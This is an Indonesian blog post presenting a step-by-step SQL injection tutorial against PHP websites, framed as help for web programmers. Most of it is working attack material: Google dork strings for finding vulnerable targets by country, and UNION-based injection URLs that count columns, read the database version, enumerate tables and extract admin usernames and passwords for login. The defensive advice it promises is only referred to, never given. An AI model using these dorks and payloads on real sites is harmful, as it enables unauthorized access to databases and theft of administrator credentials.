Begini Cara Hacker Membobol Web dengan Teknik SQL Injection
esNesia - Saudaraku, ini sekedar memberi tahu bagaimana cara hacker nge-hack situs yang berbasis PHP dengan menggunakan teknik SQL Injection, tutorial ini dibuat agar Anda (Programmer Web) bisa mengantisipasi kalau-kalau ini terjadi pada situs/web Anda,
Teknik SQL Injection |
Dengan mengetahui ini diharapkan para programmer bisa mengetahui celah dan bagaimana solusinya, bukan untuk menyerang situs orang lain yang masih SQL Injection detected..
Apa itu SQL Injection?
SQL Injection (SQLI) adalah salah satu teknik hacking yang biasanya di gunakan oleh attacker untuk mendapatkan sebuah database dengan cara menyisipkan perintah - perintah SQL melalui url
Bagaimana ciri-ciri web yang bisa kena SQL Injection?
Perhatikan contoh ini
http://situs-target.com/berita.php?id=23 --> web terlihat normal
lalu kita sisipkan karakter ' untuk mengetahui situs tersebut error atau tidak, seperti dibawah ini
http://situs-target.com/berita.php?id=23' -->perhatikan apakah web terlihat error atau tidak
Jika setelah menambahkan tanda petik terjadi error maka itu artinya bisa diinjeksi jika tidak ada atau tidak tampil pesan error maka bisa dikatakan anti SQL injection
berikut ini adalah salah satu contoh pesan error jika terindikasi sql injection
Error Message |
Bagaimana cara mencari target web untuk di eksekusi?
Begini, untuk mecari web terindikasi celah SQL Injection adalah dengan cara dirking atau suatu cara untuk mencari struktur situs seperti mencari direktori/file/script dan lain lain
Untuk Dorking SQLI Anda bisa melakukan pencarian di google dengan menggunakan salah satu url kunci berikut :
inurl:azerty.php?id=
inurl:bouquin.php?id=
inurl:lien.php?id=
inurl:clavier.php?id=
inurl:index.php?id=
inurl:trainers.php?id=
inurl:buy.php?category=
inurl:article.php?ID=
inurl:play_old.php?id=
inurl:games.php?id=
inurl:iniziativa.php?in=
inurl:curriculum.php?id=
inurl:labels.php?id=
inurl:story.php?id=
inurl:look.php?ID=
inurl:newsone.php?id=
inurl:aboutbook.php?id=
inurl:material.php?id=
inurl:opinions.php?id=
inurl:announce.php?id=
untuk mencari situ dengan negara tertentu cukup tambahi site:.(nama domain negara) misal :
inurl:story.php?id= site:.my (untuk malaysia) inurl:story.php?id= site:.id (untuk Indonesia), inurl:story.php?id= site:.il (untuk Israel), dll.
nama domain negara-negara di dunia
Begini Detail Caranya
- Pertama kali tentu mencari target. Misalnya target kita kali ini adalah situs-target[.]com/berita[.]php?id=100
- Tambahkan karakter ‘ pada akhir url atau menambahkan karakter “-” untuk melihat apakah ada pesan error. Contoh :situs-target[.]com/berita[.]php?id=100' atau situs-target[.]com/berita[.]php?id=-100
- Maka akan muncul pesan error…“You have an error in your SQL syntax.You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ”’at line 1″ Dan masih banyak lagi munculan pesan lainnya
- Lanjut mencari dan menghitung jumlah table yang ada dalam databasenya…Disini kita akan menggunakan perintah order by Contoh :situs-target[.]com/berita[.]php?id=100+order+by+1/*
“/*” adalah karakter penutup perintah SQL atau kita juga bisa pake “–“. Terserah aja…
Kalo “+” sebagai penghubung perintah… - Kemudian langsung dah nyobain satu per satu…
situs-target[.]com/berita[.]php?id=100+order+by+1/* (gak ada error)
situs-target[.]com/berita[.]php?id=100+order+by+2/* (gak ada juga)
situs-target[.]com/berita[.]php?id=100+order+by+3/* (capek dah)
situs-target[.]com/berita[.]php?id=100+order+by+4/* (jangan nyerah)
Sampai muncul error… Misalkan errornya disini…
situs-target[.]com/berita[.]php?id=100+order+by+10/*
Berarti yang kita ambil adalah “9”
situs-target[.]com/berita[.]php?id=100+order+by+9/* - Untuk mengetahui berapa angka yang show sekarang kita pake UNION Contoh :
situs-target[.]com/news[.]php?id=100+union+select+1,2,3,4,5,6,7,8,9/*
Trus perhatikan angka berapa yang keluar - Misalnya angka hoki yang keluar adalah “3” maka yang bisa akan kita lakukan adalah mengecek versi berapa mysql yang dipake dengan perintah “version()” atau “@@version”
situs-arget[.]com/news[.]php?id=100+union+select+1,2,version(),4,5,6,7,8,9/*
Atau
situs-target[.]com/news[.]php?id=100+union+select+1,2,@@version,4,5,6,7,8,9/*
Nah kalo versinya 5 langsung aja pake perintah “information_schema” untuk melihat tabel dan kolom yang ada pada database…Contoh : situs-target[.]com/berita[.]php?id=100+union+select+1,2,table_name,4,5,6,7,8,9+from+information_schema.tables/* Misal yang terlihat adalah table “admin”
Maka sekarang kita liat-liat dulu kolomnya dengan mengganti aja kata “table”-nya…
- Contoh:
situs-target[.]com/berita[.]php?id=100+union+select+1,2,column_name,4,5,6,7,8,9+from+information_schema.colums/*
- Misal kolom yang keluar adalah “password” dan “username”
- Langsung aja kita liat isinya…
- Contoh :
situs-target[.]com/news[.]php?id=100+union+select+1,username,3,4,5,6,7,8,9+from+admin/*
- dan
situs-target[.]com/news[.]php?id=100+union+select+1,password,3,4,5,6,7,8,9+from+admin/*
- Bisa diliat dah username ama passwordnya…Tinggal login…Begitulah cara mereka melakukan SQL Injection
Buat bahan belajar silahkan download Blog PHP-MySQLi + Bootstrap yang bisa dibobol dengan teknik SQL Injection, silahkan kasih pengaman dengan teknik di atas...
—————————————————
Begitulah cara mereka melakukan SQL Injection..
untuk menghindari serangan SQL Injection mereka maka sebaiknya gunakan cara ini untuk mengantisipasi/mencegah SQL Injection
wow.. ternyata begini yah caranya...
ReplyDeletehanyaurl.blogspot.com
Thank you mas...